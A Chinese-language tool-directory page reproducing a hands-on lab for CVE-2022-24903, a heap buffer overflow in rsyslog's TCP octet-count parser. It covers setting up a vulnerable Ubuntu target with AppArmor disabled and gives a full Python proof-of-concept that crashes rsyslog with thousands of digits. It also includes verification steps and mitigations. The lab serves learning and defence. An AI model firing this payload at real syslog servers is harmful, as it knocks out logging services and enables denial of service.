Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 基于堆的缓冲区溢出 | Kitploit
工具/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
漏洞分析漏洞利用学习与教育二进制利用实验室与实践
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 基于堆的缓冲区溢出

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
41个月前尚未审核
分享

CVE-2022-24903 动手实验

作者: Andrew Beshay Mousa

一个演示 rsyslog 堆缓冲区溢出漏洞的实操实验。

rsyslog CVE Type Protocol

一个实用的实验室环境,用于通过 TCP syslog 接收中的八位字节计数帧(octet-counted framing)复现并理解 rsyslog 堆缓冲区溢出 漏洞(CVE-2022-24903)。


目录

  • 概述
  • 实验架构
  • 前提条件
  • 漏洞详情
  • 实验环境搭建
    • 目标机器(Ubuntu)
    • 攻击者机器(Kali)
  • 漏洞利用
  • 验证
  • 故障排除
  • 缓解措施
  • 参考资料

概述

CVE-2022-24903 是 rsyslog 的 TCP syslog 接收模块(imtcp)在使用 八位字节计数帧(octet-counted framing)(RFC 5425)时存在的一个堆缓冲区溢出漏洞。

攻击者可以发送带有超长八位字节计数前缀的特制 TCP syslog 消息,导致 rsyslog 越界写入堆分配的缓冲区,从而造成拒绝服务(DoS)或潜在的内存损坏。


实验架构

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

所需虚拟机

注意: 您可以使用任何 Ubuntu 版本(20.04、22.04、24.04)作为目标机。关键是手动安装存在漏洞的 rsyslog 8.2001.0 .deb 软件包。


前提条件

  • VirtualBox 或 VMware Workstation
  • Ubuntu 22.04 镜像(约 2 GB)
  • Kali Linux 虚拟机(约 4 GB)
  • 在虚拟机管理程序中配置仅主机(Host-Only)网络
  • 具备 Linux 命令和 Python 的基础知识

漏洞详情

什么是八位字节计数帧(Octet-Counted Framing)?

在 TCP syslog(RFC 5425)中,消息以字节长度作为前缀:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

漏洞成因

在存在漏洞的 rsyslog 版本中,八位字节计数解析器:

  1. 将数字累加到一个固定大小的堆缓冲区中
  2. 在写入数字时不检查缓冲区边界
  3. 即使八位字节计数超过允许的最大值,仍继续写入数字
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

结果: 发送 9999...(5000 多个数字)会使堆缓冲区溢出,破坏相邻内存。

为什么难以实现 RCE

  • 溢出仅限于数字字符(0-9)
  • 解析器在遇到第一个非数字字符时停止
  • 无法直接注入 shellcode
  • 拒绝服务是必然的;厂商认为不太可能实现 RCE

实验环境搭建

第 1 步:配置仅主机(Host-Only)网络

在您的虚拟机管理程序中,创建一个仅主机(Host-Only)网络:

  • 子网: 192.168.56.0/24
  • DHCP: 禁用(使用静态 IP)

将两台虚拟机都连接到该网络。


第 2 步:目标机器(Ubuntu)

2.1 设置静态 IP

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

粘贴:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

应用:

root@kitploit:~
sudo netplan apply

验证:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 停止并移除新版 rsyslog

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 下载并安装存在漏洞的 rsyslog

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

如果遇到 dpkg 锁错误:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

验证版本:

root@kitploit:~
rsyslogd -v | head -2

预期输出:

root@kitploit:~
rsyslogd  8.2001.0

2.4 禁用 AppArmor(仅限实验)

AppArmor 可能会阻止 rsyslog 在旧软件包下正常运行:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 配置 rsyslog 以监听 TCP 514

root@kitploit:~
sudo nano /etc/rsyslog.conf

清空文件并粘贴:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 开放防火墙端口

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 启动 rsyslog

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

验证监听状态:

root@kitploit:~
sudo ss -tlnp | grep 514

预期结果:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

第 3 步:攻击者机器(Kali)

3.1 设置静态 IP

root@kitploit:~
sudo nano /etc/network/interfaces

粘贴:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

或者,如果使用 Netplan:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 创建漏洞利用脚本

root@kitploit:~
cd ~/Desktop
nano exploit.py

粘贴:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

赋予执行权限:

root@kitploit:~
chmod +x exploit.py

漏洞利用

预检

从攻击机验证连通性:

root@kitploit:~
nc -zv 192.168.56.20 514

预期输出:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

运行漏洞利用脚本

root@kitploit:~
python3 ~/Desktop/exploit.py

预期输出:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

验证

在目标机上验证崩溃:

方法 1:检查 rsyslog 是否仍在运行

root@kitploit:~
ps aux | grep rsyslog

如果没有输出,则说明 rsyslog 已崩溃

方法 2:检查内核日志

root@kitploit:~
sudo dmesg | tail -10

预期输出:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

或:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

方法 3:检查 systemd 日志

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

方法 4:重启并重新测试

为确认可复现性:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

然后从 Kali 重新运行漏洞利用脚本,应会再次崩溃。


故障排除


缓解措施

1. 升级 rsyslog

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

验证修补后的版本:

root@kitploit:~
rsyslogd -v | head -2

应为 8.2204.1 或更高版本。

2. 如非必要,禁用 TCP syslog

在 /etc/rsyslog.conf 中注释掉:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. 使用 TLS/SSL(RFC 5425)

如果必须使用 TCP syslog,请使用加密传输:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. 防火墙限制

仅允许受信任的主机访问 TCP 514:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

参考资料

  • NVD - CVE-2022-24903
  • rsyslog 安全公告
  • Ubuntu 安全公告 USN-5404-1
  • RFC 5424 - Syslog 协议
  • RFC 5425 - TLS 传输

免责声明

本实验仅用于教育和研究目的。请勿对您不拥有或未经明确许可测试的系统使用此漏洞利用代码。作者对滥用此信息不承担任何责任。


许可证

本项目采用 MIT 许可证。


由 Andrew Beshay Mousa 用咖啡与好奇心打造。

下载工具
属性值
CVE 编号CVE-2022-24903
受影响版本rsyslog < 8.2204.1
攻击向量网络
端口514/TCP
模块imtcp(TCP 输入)
影响拒绝服务 / 堆损坏
是否可能 RCE?否(厂商评估)
虚拟机操作系统角色IP内存CPU
目标机Ubuntu 22.04存在漏洞的 rsyslog 服务器192.168.56.201 GB1
攻击机Kali Linux漏洞利用发送端192.168.56.102 GB1
问题解决方案
Connection refused(连接被拒绝)rsyslog 未运行或未监听 TCP 514。请检查 sudo systemctl status rsyslog 和 `sudo ss -tlnp
Unit rsyslog.service is masked(服务已被屏蔽)运行 sudo systemctl unmask rsyslog.service syslog.socket
dpkg frontend lock(dpkg 前端锁)运行 sudo kill -9 <PID>,然后执行 sudo rm -f /var/lib/dpkg/lock-frontend
dmesg 中出现 AppArmor DENIED运行 sudo systemctl stop apparmor && sudo systemctl disable apparmor
rsyslog 版本为 8.2112+您安装的是已修补的版本。请手动下载并安装 rsyslog_8.2001.0-1ubuntu1_amd64.deb
漏洞利用后未崩溃将有效载荷大小增加到 b"9" * 20000